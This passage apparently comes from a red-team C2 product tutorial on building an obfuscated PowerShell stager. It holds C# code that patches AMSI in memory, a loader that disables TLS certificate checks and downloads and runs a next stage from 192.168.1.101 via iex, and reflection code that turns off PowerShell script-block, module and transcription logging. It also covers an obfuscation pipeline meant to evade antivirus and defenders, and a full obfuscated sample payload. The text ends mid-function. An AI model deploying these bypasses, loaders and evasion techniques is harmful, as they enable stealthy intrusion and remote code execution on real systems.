            RuntimeHelpers.PrepareMethod(webRequest.MethodHandle);
            RuntimeHelpers.PrepareMethod(isValid.MethodHandle);
            IntPtr httpClient= webRequest.MethodHandle.GetFunctionPointer();
            IntPtr status= isValid.MethodHandle.GetFunctionPointer();
            byte[] responseText= FileImporter.CopyObject(status);
            uint errorCode;
            if (!FileImporter.httpRequest(httpClient, (UIntPtr)responseText.Length, 0x40, out errorCode))
            {
                throw new Win32Exception();
            }

            IntPtr height= IntPtr.Zero;
            if (!FileImporter.length(buffer, httpClient, responseText, (uint)responseText.Length, out height))
            {
                throw new Win32Exception();
            }

            if (!FileImporter.server(buffer, httpClient, (UIntPtr)responseText.Length))
            {
                throw new Win32Exception();
            }

            if (!FileImporter.httpRequest(httpClient, (UIntPtr)responseText.Length, errorCode, out errorCode))
            {
                throw new Win32Exception();
            }
        }

        private static IntPtr ImportDataFromExcel()
        {
            Process xmlData= Process.GetCurrentProcess();
foreach (ProcessModule configuration in xmlData.Modules)
{
    if (configuration.ModuleName.IndexOf(TimerStarter.CodeUnitTester.InvoiceDate, StringComparison.InvariantCultureIgnoreCase) >= 0)
    {
        return configuration.BaseAddress;
    }
}
            return IntPtr.Zero;
        }

        private static IntPtr RegisterService(IntPtr count, string tempString)
        {
            return FileImporter.GetProcAddress(count, tempString);
        }

        private static byte[] CopyObject(IntPtr status)
        {
            byte[] responseText= FileImporter.CopyObject();
            if (IntPtr.Size == 8)
            {
                byte[] logEntry= BitConverter.GetBytes(status.ToInt64());
                for (int tempItem= 0; tempItem < logEntry.Length; tempItem++)
                {
                    responseText[tempItem + 2] = logEntry[tempItem];
                }
            }
            else
            {
                byte[] logEntry= BitConverter.GetBytes(status.ToInt32());
                for (int tempItem= 0; tempItem < logEntry.Length; tempItem++)
                {
                    responseText[tempItem + 1] = logEntry[tempItem];
                }
            }

            return responseText;
        }

        private static byte[] CopyObject()
        {
            if (IntPtr.Size == 8)
            {
                return CodeCollaborator.utcTime;
            }
            else
            {
                return CodeCollaborator.flag;
            }
        }
    }

    public class CodeCollaborator    {
        public static byte[] utcTime= new byte[]
        {
            0x7F,
            0xF1,
            0x36,
            0x36,
            0x36,
            0x36,
            0x36,
            0x36,
            0x36,
            0x36,
            0x77,
            0x35,
            0x19
        };
        public static byte[] flag= new byte[]
        {
            0x9E,
            0x36,
            0x36,
            0x36,
            0x36,
            0xF9
        };
        static CodeCollaborator()
        {
            int index= 54;
            CodeCollaborator.GenerateDatabaseSchema(CodeCollaborator.utcTime, index);
            CodeCollaborator.GenerateDatabaseSchema(CodeCollaborator.flag, index);
        }

        private static void GenerateDatabaseSchema(byte[] configFile, int index)
        {
            for (int tempItem= 0; tempItem < configFile.Length; tempItem++)
            {
                int client= configFile[tempItem] - index;
                if (client < 0)
                {
                    client += 256;
                }

                configFile[tempItem] = (byte)client;
            }
        }
    }
}

namespace TimerStarter{
    public static class CodeUnitTester    {
        private static readonly string currentTimezone= "ehcaCnoitcurtsnIhsulF";
        public static string FrameCount        {
            get
            {
                return CodeUnitTester.ValidateForm(CodeUnitTester.currentTimezone);
            }
        }

        private static readonly string tempVariable= "tcetorPlautriV";
        public static string IsSibling        {
            get
            {
                return CodeUnitTester.ValidateForm(CodeUnitTester.tempVariable);
            }
        }

        private static readonly string tempData= "yromeMssecorPetirW";
        public static string IsTransient        {
            get
            {
                return CodeUnitTester.ValidateForm(CodeUnitTester.tempData);
            }
        }

        private static readonly string tempValue= "slitUismA.noitamotuA.tnemeganaM.metsyS";
        public static string QueryString        {
            get
            {
                return CodeUnitTester.ValidateForm(CodeUnitTester.tempValue);
            }
        }

        private static readonly string tempDictionary= "tnetnoCnacS";
        public static string PaymentPayPalID        {
            get
            {
                return CodeUnitTester.ValidateForm(CodeUnitTester.tempDictionary);
            }
        }

        private static readonly string createdBy= "23lenrek";
        public static string InvoiceDate        {
            get
            {
                return CodeUnitTester.ValidateForm(CodeUnitTester.createdBy);
            }
        }

        private static string ValidateForm(string heightValue)
        {
            char[] element= heightValue.ToCharArray();
            Array.Reverse(element);
            return new string (element);
        }
    }
}
'@;
    [ConfigurationImporter.FileImporter]::AdjustBrightness();
}

Loader

The loader needs to: (1) disable certificate validation, (2) download the next stage, and (3) run it. In our case, the next stage is a PowerShell script. Instead of using one of the builtin PowerShell download and execute payloads, I opted to use a manually crafted loader to give me more control over the certificate validation technique (NOTE: This next version of SpecterInsight will include an option of selecting which certificate validation technique to use).

Pipeline Script
$url = Get-PayloadURL -Pipeline 'specter_stage_3';

$loader = @"
`$ServerCertificateValidationCallback = "ServerCertificateValidationCallback";
[System.Net.ServicePointManager]::`$ServerCertificateValidationCallback = { `$true }
`$client = New-Object System.Net.WebClient;
`$DownloadString = "DownloadString";
`$script = `$client.`$DownloadString('$url');
iex `$script
"@

$loader

The Get-PwshLoggingBypass cmdlet is built-in to the SpecterInsight Payload Pipeline environment and will generate a PowerShell script to disable three types of logging: (1) Module Logging, (2) ScriptBlock Logging, and (3) Transcription. See an example of the output in the next tab.

Example Output
$ServerCertificateValidationCallback = "ServerCertificateValidationCallback";
[System.Net.ServicePointManager]::$ServerCertificateValidationCallback = { $true }
$client = New-Object System.Net.WebClient;
$DownloadString = "DownloadString";
$script = $client.$DownloadString('https://192.168.1.101/static/resources/?build=1f5a69d0e70843f0af080f3cf87a69d7&kind=specter_stage_3');
iex $script

Within earlier versions of PowerShell before version 6, logging settings were pulled from the registry and cached in-memory inside of a Dictionary data structure. These settings are retireved once at application startup. Once loaded into memory, various code segments within PowerShell reference these cached settings in order to implement the policies defined by those settings.

We can manipulate those cached setting through reflection using the code shown above. The key is the path to the registry entry while values are stored in a hashtable. We can clear these settings by setting the value to a new Hashtable and adding values to that table. For each setting, we simply add the value 0 to disable that type of logging. Once implemented, PowerShell will begin using the new settings going forward.

ConvertToFunction and Combining Bypass and Loader

Next, we need to combine the logging bypass, AMSI bypass, and the loader. I also applied a transform to make the individual components functions so they might blend in more with the legitimate functions we’re going to add at the end. The Obfuscate-PwshConvertToFunction cmdlet returns an object with a Contents property representing the transformed script and a FunctionName property representing the name of the function the original script was embedded into. I reference that property as the fourth, fith, and sixth arguments to the Obfuscate-PwshCombine cmdlet.

Pipeline Script
$url = Get-PayloadURL -Pipeline 'specter_stage_3';

$loader = $loader | Obfuscate-PwshConvertToFunction;

$logging = Get-PwshLoggingBypass | Obfuscate-PwshConvertToFunction;

$bypass = Get-PwshAmsiBypass -Technique $AmsiBypassTechnique | Obfuscate-PwshConvertToFunction;

$combined = Obfuscate-PwshCombine @($logging, $bypass, $loader, $logging.FunctionName, $bypass.FunctionName, $loader.FunctionName);

$combined
Example Outpu
function SubtagsOptimizerAwaiter {
    try {
        $key1 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
        $key2 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
        $key3 = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription"
        $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
        $settings[$key1] = @{}
        $settings[$key1].Add("EnableScriptBlockLogging", '0')
        $settings[$key2] = @{}
        $settings[$key2].Add("EnableModuleLogging", '0')
        $settings[$key3] = @{}
        $settings[$key3].Add("EnableTranscripting", '0')
    } catch { }

}
function Sql7Ended {
    function Set-Value {
        param(
            [Parameter(Mandatory = $true)]
            [Type]$Type,

            [Parameter(Mandatory = $true)]
            [string]$Name,

            [Parameter(Mandatory = $true)]
            [object]$Value
        )

        $method = "GetField";
        $setter = "SetValue";

        $field = $Type.$method($Name,"NonPublic,Static");
        $field.$setter($null,$Value);
    }

    if($PSVersionTable.PSVersion.Major -gt 2) {
        $Assembly = "Assembly";
        $method = "GetType";
        $type = [Ref].$Assembly.$method("System.Management.Automation.AmsiUtils");
        $name = "amsiInitFailed";
        Set-Value $type $name $true;
    }
}
function RadioValidatorCreating {
    $ServerCertificateValidationCallback = "ServerCertificateValidationCallback";
    [System.Net.ServicePointManager]::$ServerCertificateValidationCallback = { $true }
    $client = New-Object System.Net.WebClient;
    $DownloadString = "DownloadString";
    $script = $client.$DownloadString('https://192.168.1.101/static/resources/?build=1f5a69d0e70843f0af080f3cf87a69d7&kind=specter_stage_3');
    iex $script
}
SubtagsOptimizerAwaiter
Sql7Ended
RadioValidatorCreating

Obfuscation Stack

The next step is the obfuscation stack. This is a series of transforms that take in a PowerShell script and applies a specific obfuscation technique that changes the script but keeps the functionallity if the original script the same. Here is a short description of each obfuscation technique along with some examples:

Remove Comments

This cmdlet simply removes comments from the input script. I’ve observed some AV signatures based partially on the comments in the script. Joe Bialek is an example. His work was so prolific, his name bccame part if Windows Defender AV signatures.

$script = @"
#This is a single line fomment
`$a = 'hello world!'

<# thisis
a multiline
comment!#>
Write-Host `$a
"@

$script | Obfuscate-PwshRemoveComments

$a = 'hello world!'


Write-Host $a
Member Expressions

This script simply converts member expressions to strings. This allows us to apply string obfuscation later to mitigate AV signatures based on class members.

'[Environment]::GetCommandLineArgs()' | Obfuscate-PwshMemberExpressions
[System.Environment]::'GetCommandLineArgs'.Invoke()
Type Expressions

This cmdlet converts type expressions to strings for later obfuscation using the Obfuscate-PwshStrings cmdlet. There are several signatures based off of type references, especially to things in the System.Reflection namespace that can give attackers access to internal data structures for bypassing defenses. This technique creates a variable to store the string in order to be compatible with all of the currently available string obfuscation techniques.

$script = @"
[System.Reflection.Assembly]::Load(`$bytes);
"@;

$script | Obfuscate-PwshTypeExpressions
$name = [Type]'System.Reflection.Assembly';

$name::Load($bytes);
Function Names

This cmdlet simply renames all functions defined within the provided script with randomly generated function names. It then updates any references to the original function name with the new function name.

$script = @"
function Write-LogMessage {
    param(
        [Parameter(Mandatory = `$true, Position = 0)]
        [string]
        `$Message
    )

    Write-Host "[*] `$Message" -ForegroundColor Yellow
}

Write-LogMessage 'hello world!'
"@

$script | Obfuscate-PwshFunctionNames
function Search-Any {
    param(
        [Parameter(Mandatory = $true, Position = 0)]
        [string]
        $Message
    )

    Write-Host "[*] $Message" -ForegroundColor Yellow
}

Search-Any 'hello world!'
Cmdlet Alias

This cmdlet generates new aliases for suspicious or commonly signaturized cmdlets that are built into PowerShell such as Invoke-Expression and Invoke-Command. The strings can then be obfuscated later with Obfuscate-PwshStrings.

'$a = "hello world"; Write-Host $a;' | Obfuscate-PwshCmdlets
New-Alias 'Restart-Importing' 'Write-Host'

$a = "hello world"; Restart-Importing $a;
Variabe Names

This cmdlet renames variables and updates all references to those variables, including ones contained withing expandable string expressions.

'$a = "hello world"; Write-Host $a;' | Obfuscate-PwshVariables
$x = "hello world"; Write-Host $x;
Strings

This is one of the more important obfuscation techniques because it’s what actually takes care of obfusctating members and types after the other cmdlets have converted them to strings. There are several techniques that can be used. The default option of “Preferred” will randomly select a technique from a collection of string obfuscation techniques that generally work well to evade detection.

Get-PwshAmsiBypass | Obfuscate-PwshStrings
function Close-Appointment2 {
    param(
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Value,

        [Parameter(Mandatory = $true, Position = 1)]
        [int]$Seed
    )

    $type = New-Object System.Random($Seed);
    $t = New-Object int[] $Value.Length;
    for($groups = 0; $groups -lt $Value.Length; $groups++) {
        $t[$groups] = $type.Next(0, $Value.Length);
    }

    $param = $Value.ToCharArray();
    for($groups = $param.Length - 1; $groups -ge 0; $groups--) {
        $username = $param[$groups];
        $param[$groups] = $param[$t[$groups]];
        $param[$t[$groups]] = $username;
    }

    return New-Object string(,$param);
}

function Set-Value {
    param(
        [Parameter(Mandatory = $true)]
        [Type]$Type,

        [Parameter(Mandatory = $true)]
        [string]$Name,

        [Parameter(Mandatory = $true)]
        [object]$Value
    )

    $method = Close-Appointment2 'iFteeldG' 1212135420;
    $setter = Close-Appointment2 'SleVeuta' 2082114145;

    $field = $Type.$method($Name,([string](Close-Appointment2 'ct,biilNcaPtonSu' 1282663133)));
    $field.$setter($null,$Value);
}

if($PSVersionTable.PSVersion.Major -gt 2) {
    $Assembly = Close-Appointment2 'sAslyemb' 37264246;
    $method = Close-Appointment2 'ytTeGep' 1203303406;
    $type = [Ref].$Assembly.$method(([string](Close-Appointment2 'moaei.tettA.sitnuimSmyaote.mMlnAnsUgas' 1064622315)));
    $name = Close-Appointment2 'tFlIieadaniism' 566866522;
    Set-Value $type $name $true;
}

Now we’re going to combine those obfuscation techniques together to obfuscate our logging bypass, AMSI bypass, and loader. There are some important considerations when applying the techniques. They need to be applied in a certain order to be most effective. For example:

  • Member, Type, and Cmdlet obfuscation must come before string obfuscation, otherwise the actual text of the thing we’re trying to mitigate is still in the script.
  • Variable obfuscation cannot come after string obfuscation. This can break scripts with expandable strings.

We may also want to consider using the -Filter parameter. This option allows us to provide a set of regular expressions where at least one of the expressions must match in order to obfuscate a given token or AST node. This allows us to provide tailored obfuscation and not randomly obfuscate every little string.

#Obfuscate the payload
$obfuscated = $combined | Obfuscate-PwshRemoveComments;
$obfuscated = $obfuscated | Obfuscate-PwshMemberExpressions -Filters @('DownloadString', 'ServerCertificateValidationCallback');
$obfuscated = $obfuscated | Obfuscate-PwshTypeExpressions -Filters @('Assembly', 'ServicePointManager');
$obfuscated = $obfuscated | Obfuscate-PwshFunctionNames;
$obfuscated = $obfuscated | Obfuscate-PwshCmdlets -Filters @('iex', 'Invoke-Expression', 'Invoke-Command', 'icm', 'Add-Type');
$obfuscated = $obfuscated | Obfuscate-PwshVariables;
$obfuscated = $obfuscated | Obfuscate-PwshStrings -Technique $StringObfuscationTechnique -IncludeBareWord -Filters @('amsi','http://', 'https://', 'HKEY_LOCAL_MACHINE', 'EnableScriptBlockLogging', 'EnableModuleLogging', 'EnableTranscripting', 'System.Management.Automation', 'Assembly', 'WebClient', 'DownloadString', 'ServerCertificateValidationCallback', 'scriptblock', 'ServicePointManager', "using", "GetType", "GetField", "SetValue", 'CertificateValidator', 'iex', 'Invoke-Expression', 'Invoke-Command', 'icm', 'Add-Type');

Padding with Legitimate PowerShell Scripts

The last step is to pad our obfuscated payload with legitimate, non-malicious PowerShell scripts in order to make it blend in. The goal isn’t really to evade AV detection. The steps above should have taken care of that already. This is really just to evade a defender that’s not looking too carefully. SpecterInsight 4.2.0 provided two cmdlets for retrieving non-malicious scripts:

Get-PwshTemplate

This cmdlet randomly selects a benign, non-malicious PowerShell script that can be used to help obfuscate PowerShell payloads.

Get-PwshTemplate
$loadEnvPath = Join-Path $PSScriptRoot 'loadEnv.ps1'
if (-Not (Test-Path -Path $loadEnvPath)) {
    $loadEnvPath = Join-Path $PSScriptRoot '..\loadEnv.ps1'
}
. ($loadEnvPath)
$TestRecordingFile = Join-Path $PSScriptRoot 'Set-JcSdkSystemAssociation.Recording.json'
$currentPath = $PSScriptRoot
while(-not $mockingPath) {
    $mockingPath = Get-ChildItem -Path $currentPath -Recurse -Include 'HttpPipelineMocking.ps1' -File
    $currentPath = Split-Path -Path $currentPath -Parent
}
. ($mockingPath | Select-Object -First 1).FullName

Describe 'Set-JcSdkSystemAssociation' {
    # TODO: Update for PolicyGroups
    #It 'SetExpanded' {
    #    $ParameterType = (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.FullName
    #    (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.DeclaredFields.Where( { $_.IsPublic }).Name | ForEach-Object {
    #        { Set-JcSdkSystemAssociation -Id:((Get-Variable -Name:("PesterTest$($_)")).Value.Id) -Op:('add') -Type:(Invoke-Expression "[$ParameterType]::$_".Replace('group','_group')) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw
    #        { Set-JcSdkSystemAssociation -Id:((Get-Variable -Name:("PesterTest$($_)")).Value.Id) -Op:('remove') -Type:(Invoke-Expression "[$ParameterType]::$_".Replace('group','_group')) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw
    #    }
    #}

    #It 'Set' {
    #    $ParameterType = (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.FullName
    #    (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.DeclaredFields.Where( { $_.IsPublic }).Name | ForEach-Object {
    #        { Set-JcSdkSystemAssociation -Body:(@{Id = (Get-Variable -Name:("PesterTest$($_)")).Value.Id; Op = 'add'; Type = Invoke-Expression "[$ParameterType]::$_".Replace('group','_group'); }) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw
    #        { Set-JcSdkSystemAssociation -Body:(@{Id = (Get-Variable -Name:("PesterTest$($_)")).Value.Id; Op = 'remove'; Type = Invoke-Expression "[$ParameterType]::$_".Replace('group','_group'); }) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw
    #    }
    #}

    It 'SetViaIdentity' -skip {
        { Set-JcSdkSystemAssociation -Body:(@{Id = $global:PesterTestUser.Id; Op = 'add'; Type = 'user';}) -InputObject '<IJumpCloudApIsIdentity>' [-Authorization '<String>'] [-Date '<String>'] } | Should -Not -Throw
    }

    It 'SetViaIdentityExpanded' -skip {
        { Set-JcSdkSystemAssociation -Id:($global:PesterTestUser.Id) -InputObject '<IJumpCloudApIsIdentity>' -Op:('add') -Type:('user') [-AttributeSudoEnabled] [-AttributeSudoWithoutPassword] [-Authorization '<String>'] [-Date '<String>'] } | Should -Not -Throw
    }
}
Get-PwshFunctionTemplat

This cmdlet randomly selects one or more benign, non-malicious PowerShell functions that can be used to help obfuscate PowerShell payloads.

Get-PwshFunctionTemplate
function _VerifyResolutionMatrix{
    [CmdletBinding()]
    param(
        [parameter(Mandatory=$true)][String[]] $resolution
    )

    begin{
        Write-Debug "Starting _VerifyResolutionMatrix with $resolution"
    }

    process{
        $resolution | ForEach-Object{
            if(-not ($_ -match '^[1-9][0-9]*x[1-9][0-9]*$')){
                Write-Debug "$_ is invalid"
                Throw "Invalid resolution matrix"
            }

            Write-Debug "$_ is valid"
        }
    }
}

For this script, I’m going to use Get-PwshFunctionTemplate so that I ensure that no unintended code actually gets executed on the target that could cause unexpected issues with the environment. Then, I’ll combine the benign code with our obfuscated code for the final output. The last step is to write the result to the pipeline. The first thing returned to the pipeline is what will be returned to the caller when the Payload Pipeline is invoked.

$template1 = Get-PwshFunctionTemplate | Format-PwshWhitespace;
$template2 = Get-PwshFunctionTemplate | Format-PwshWhitespace;

$result = Obfuscate-PwshCombine $template1, $obfuscated, $template2;
$result;

Putting it All Together

Here is the full pipeline for this stage:

param(
	[Parameter(Mandatory = $false)]
	[SpecterInsight.Obfuscation.PowerShell.AstTransforms.PwshStringObfuscationTechnique]$StringObfuscationTechnique = 'Format',
	
	[Parameter(Mandatory = $false)]
	[SpecterInsight.Obfuscation.PowerShell.SourceTransforms.AmsiBypass.PwshAmsiBypassTechnique]$AmsiBypassTechnique = 'InitFailed'
)

$url = Get-PayloadURL -Pipeline 'specter_stage_3';

$loader = @"
`$ServerCertificateValidationCallback = "ServerCertificateValidationCallback";
[System.Net.ServicePointManager]::`$ServerCertificateValidationCallback = { `$true }
`$client = New-Object System.Net.WebClient;
`$DownloadString = "DownloadString";
`$script = `$client.`$DownloadString('$url');
iex `$script
"@ | Obfuscate-PwshConvertToFunction;

$logging = Get-PwshLoggingBypass | Obfuscate-PwshConvertToFunction;

$bypass = Get-PwshAmsiBypass -Technique $AmsiBypassTechnique | Obfuscate-PwshConvertToFunction;

$combined = Obfuscate-PwshCombine @($logging, $bypass, $loader, $logging.FunctionName, $bypass.FunctionName, $loader.FunctionName);

#Obfuscate the payload
$obfuscated = $combined | Obfuscate-PwshRemoveComments;
$obfuscated = $obfuscated | Obfuscate-PwshMemberExpressions -Filters @('DownloadString', 'ServerCertificateValidationCallback');
$obfuscated = $obfuscated | Obfuscate-PwshTypeExpressions -Filters @('Assembly', 'ServicePointManager');
$obfuscated = $obfuscated | Obfuscate-PwshFunctionNames;
$obfuscated = $obfuscated | Obfuscate-PwshCmdlets -Filters @('iex', 'Invoke-Expression', 'Invoke-Command', 'icm', 'Add-Type');
$obfuscated = $obfuscated | Obfuscate-PwshStrings -Technique $StringObfuscationTechnique -IncludeBareWord -Filters @('amsi','http://', 'https://', 'HKEY_LOCAL_MACHINE', 'EnableScriptBlockLogging', 'EnableModuleLogging', 'EnableTranscripting', 'System.Management.Automation', 'Assembly', 'WebClient', 'DownloadString', 'ServerCertificateValidationCallback', 'scriptblock', 'ServicePointManager', "using", "GetType", "GetField", "SetValue", 'CertificateValidator', 'iex', 'Invoke-Expression', 'Invoke-Command', 'icm', 'Add-Type');
$obfuscated = $obfuscated | Obfuscate-PwshVariables;

$template1 = Get-PwshFunctionTemplate | Format-PwshWhitespace;
$template2 = Get-PwshFunctionTemplate | Format-PwshWhitespace;

$result = Obfuscate-PwshCombine $template1, $obfuscated, $template2;
$result;

The pipeline oulined above generates a payload that generally looks like what you see below:

function Start-Promise {

    <#PSScriptInfo

.Version
    1.0
.Guid
    0ae30495-bfc9-4f9e-8d05-6730895e755f
.Author 
    Thomas J. Malkewitz @dotps1
.Tags 
    AD, UserName, UserProvisioning
.ProjectUri
    https://github.com/dotps1/PSFunctions
.ExternalModuleDependencies 
    ActiveDirectory
.ReleaseNotes
    Renamed to fit AD Module Naming.  Added ProjectUri.

#>

    <#

.Synopsis
    Creates a new username with AD DS Validation.
.Description
    Create a new username with the following order until a unique Username is found.
    1. First Initial Last Name.
    2. First Initial First Middle Initial Last Name.
    3. Iterates First Name adding each Char until a unique Username is found.
.Inputs
    None.
.Outputs
    System.String
.Parameter FirstName
    The first name of the user to be created.
.Parameter LastName
    The last name of the user to be created.
.Parameter OtherName
    The middle name of the user to be created.
.Example
    PS C:\> New-Username -FirstName John -LastName Doe

    jdoe
.Example
    PS C:\> New-Username -FirstName Jane -LastName Doe -MiddleName Ala

    jadoe
.Notes 
    Requires ActiveDirectory PowerShell Module available with Remote Server Administration Tools.
    RSAT 7SP1: http://www.microsoft.com/en-us/download/details.aspx?id=7887
    RSAT 8:    http://www.microsoft.com/en-us/download/details.aspx?id=28972
    RSAT 8.1:  http://www.microsoft.com/en-us/download/details.aspx?id=39296
    RSAT 10:   http://www.microsoft.com/en-us/download/details.aspx?id=45520
.Link
    http://dotps1.github.io
.Link
    https://grposh.github.io

#>

    #requires -Modules ActiveDirectory

    [CmdletBinding()]
    [OutputType(
        [String]
    )]
    
    param (
        [Parameter(
            Mandatory = $true
        )]
        [Alias(
            'GivenName'
        )]
        [String]
        $FirstName,

        [Parameter(
            Mandatory = $true
        )]
        [Alias(
            'Surname'
        )]
        [String]
        $LastName,

        [Parameter()]
        [AllowNull()]
        [String]
        $OtherName
    )

    [RegEx]$pattern = "\s|-|'"

    $primaryUserName = ($FirstName.Substring(0,1) + $LastName) -replace $pattern,""
    if ((Get-ADUser -Filter { SamAccountName -eq $primaryUserName } | Measure-Object).Count -eq 0) {
        return $primaryUsername.ToLower()
    }
    
    if (-not ([String]::IsNullOrEmpty($OtherName))) {
        $secondaryUserName = ($FirstName.Substring(0,1) + $OtherName.Substring(0,1) + $LastName) -replace $pattern,""
        if ((Get-ADUser -Filter { SamAccountName -eq $secondaryUserName } | Measure-Object).Count -eq 0) {
            return $secondaryUserName.ToLower()
        }
    }

    foreach ($char in $FirstName.ToCharArray()) {
        $prefix += $char
        $tertiaryUserName = ($prefix + $LastName) -replace $pattern,""

        if (-not ($tertiaryUserName -eq $primaryUserName)) {
            if ((Get-ADUser -Filter { SamAccountName -eq $tertiaryUserName } | Measure-Object).Count -eq 0) {
                return $tertiaryUserName.ToLower()
            }
        }
    }

}
New-Alias 'Build-Uploader' ([string]::format("{2}{0}{1}","e","x","i"))

$d = [Type]([string]::format("{8}{0}{11}{5}{1}{7}{2}{10}{6}{3}{4}{9}","yste","e","v","tMa","nag","et.S","Poin","r","S","er","ice","m.N"));

function Suspend-Xss {
    try {
        $project = [string]::format("{14}{28}{20}{0}{3}{18}{7}{16}{25}{22}{29}{9}{30}{10}{1}{5}{15}{12}{21}{8}{6}{23}{31}{26}{4}{24}{27}{17}{13}{2}{11}{19}","L_MA","oso","g","CHI","cr","ft\W","owe","E\","\P","ci","icr","gin","nd","ckLo","HKE","i","So","lo","N","g","CA","ows","are\","r","ip","ftw","l\S","tB","Y_LO","Poli","es\M","Shel")
        $r = [string]::format("{4}{12}{22}{28}{5}{30}{10}{23}{21}{24}{11}{7}{29}{18}{2}{1}{8}{15}{17}{6}{19}{26}{0}{9}{3}{13}{20}{16}{25}{14}{27}","Pow","so","icro","Sh","HK","L_","w","\Pol","ft\","er","HIN","e","EY","ell","ggin","Wind","Modu","o","es\M","s","\","\Sof","_LO","E","twar","leLo","\","g","CA","ici","MAC")
        $port = [string]::format("{23}{31}{25}{22}{28}{20}{10}{24}{27}{18}{8}{33}{30}{2}{32}{21}{0}{26}{1}{11}{34}{3}{17}{5}{15}{35}{16}{12}{13}{6}{4}{19}{29}{7}{14}{9}","cie","ic","No","t\Wi","Tr","ows\","\","ipti","ARE\","n","NE","ros","e","ll","o","Pow","rSh","nd","FTW","ans","HI","oli","L_M","HKE","\","LOCA","s\M","SO","AC","cr","6432","Y_","de\P","Wow","of","e")
        $target = [Ref].([string]::format("{2}{3}{1}{0}","y","embl","A","ss")).([string]::format("{2}{0}{1}","Typ","e","Get"))(([string]::format("{13}{3}{7}{12}{6}{8}{10}{9}{11}{0}{2}{1}{4}{5}","to","atio","m","e","n.U","tils","M","m","anag","ent.","em","Au",".","Syst"))).([string]::format("{2}{0}{1}","Fiel","d","Get"))("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
        $target[$project] = @{}
        $target[$project].Add(([string]::format("{7}{8}{4}{9}{3}{2}{5}{1}{6}{0}","ging","o","ck","o","Scri","L","g","En","able","ptBl")), '0')
        $target[$r] = @{}
        $target[$r].Add(([string]::format("{3}{4}{7}{5}{0}{6}{2}{1}","Lo","ng","i","Enab","leM","ule","gg","od")), '0')
        $target[$port] = @{}
        $target[$port].Add(([string]::format("{3}{2}{5}{4}{6}{0}{1}","ti","ng","abl","En","nsc","eTra","rip")), '0')
    } catch { }

}
function Add-Cbm {
    function Revoke-Angle {
        param(
            [Parameter(Mandatory = $true)]
            [Type]$Type,

            [Parameter(Mandatory = $true)]
            [string]$Name,

            [Parameter(Mandatory = $true)]
            [object]$Value
        )

        $hash = [string]::format("{4}{2}{0}{1}{3}","e","l","Fi","d","Get");
        $rule = [string]::format("{2}{0}{1}","tVa","lue","Se");

        $vmname = $Type.$hash($Name,"NonPublic,Static");
        $vmname.$rule($null,$Value);
    }

    if($PSVersionTable.PSVersion.Major -gt 2) {
        $database = [string]::format("{2}{0}{3}{1}","e","ly","Ass","mb");
        $hash = [string]::format("{1}{2}{3}{0}","e","Get","Ty","p");
        $type = [Ref].$database.$hash(([string]::format("{2}{0}{3}{4}{12}{6}{1}{9}{7}{5}{11}{8}{10}","em.","Auto","Syst","Man","agem","n.A","t.","atio","ti","m","ls","msiU","en")));
        $name = [string]::format("{1}{3}{0}{4}{2}","nitF","am","iled","siI","a");
        Revoke-Angle $type $name $true;
    }
}
function Checkpoint-Dispatch5 {
    $pass = [string]::format("{5}{7}{12}{1}{0}{6}{11}{8}{4}{3}{13}{10}{9}{2}","f","erti","k","ion","at","Se","icat","rv","id","bac","all","eVal","erC","C");
    $d::$pass = { $true }
    $log = New-Object ([string]::format("{4}{7}{3}{6}{2}{1}{5}{0}","ent",".We","et","stem","S","bCli",".N","y"));
    $version = [string]::format("{1}{2}{3}{0}","ring","Do","wnlo","adSt");
    $endpoint = $log.$version(([string]::format("{5}{12}{23}{9}{32}{24}{21}{26}{34}{20}{18}{27}{14}{17}{38}{37}{10}{7}{30}{1}{33}{13}{2}{6}{16}{0}{15}{31}{22}{3}{28}{19}{29}{11}{39}{36}{25}{4}{8}{35}","af08","f5","0e7","69d7","_st","http","084","buil","ag",".168","s/?","sp","s://","9d","c/re","0f3","3f0","so","t","nd","sta","1","a","192",".","ter","01","i","&ki","=","d=1","cf87",".1","a6","/","e_3","c","ce","ur","e")));
    Build-Uploader $endpoint
}
Suspend-Xss
Add-Cbm
Checkpoint-Dispatch5
function Resize-Evidence {
    # *******************************************************************
    # * Title:            Copy vDS PGs to vSS
    # * Purpose:          This script copies vDS PGs to vSS
    # * Args:             vCenter & Cluster Name
    # * Usage:			  Create-VSS.ps1 -h [Target ESXi Host] -s [dVS Name] -d [vSS Name]
    # * Author:           Ryan Patel
    # * Creation Date:    03/09/2018
    # * Last Modified:    03/09/2018
    # * Version:          1.0
    # *******************************************************************
    param
    (
        [alias("h")]
        [string]$thisHost = $(Read-Host -Prompt "Enter the Target ESXi Host"),
        [alias("s")]
        [string]$source = $(Read-Host -Prompt "Enter the Source vDS Name"),
        [alias("d")]
        [string]$destination = $(Read-Host -Prompt "Enter the Destination vSS Name")
    )
    #Create an empty array to store the port group translations
    $pgTranslations = @()

    #Get the destination vSwitch
    if (!($destSwitch = Get-VirtualSwitch -host $thisHost -name $destination)){write-error "$destination vSwitch not found on $thisHost";exit 10}
    #Get a list of all port groups on the source distributed vSwitch
    if (!($allPGs = Get-vdswitch -name $source | Get-vdportgroup)){write-error "No port groups found for $source Distributed vSwitch";exit 11}
    foreach ($thisPG in $allPGs)
    {
        $thisObj = new-object -Type PSObject
        $thisObj | add-member -MemberType NoteProperty -Name "dVSPG" -Value $thisPG.Name
        $thisObj | add-member -MemberType NoteProperty -Name "VSSPG" -Value "$($thisPG.Name)-VSS"
        new-virtualportgroup -virtualswitch $destSwitch -name "$($thisPG.Name)-VSS"
        # Ensure that we don't try to tag an untagged VLAN
        if ($thisPG.vlanconfiguration.vlanid)
        {
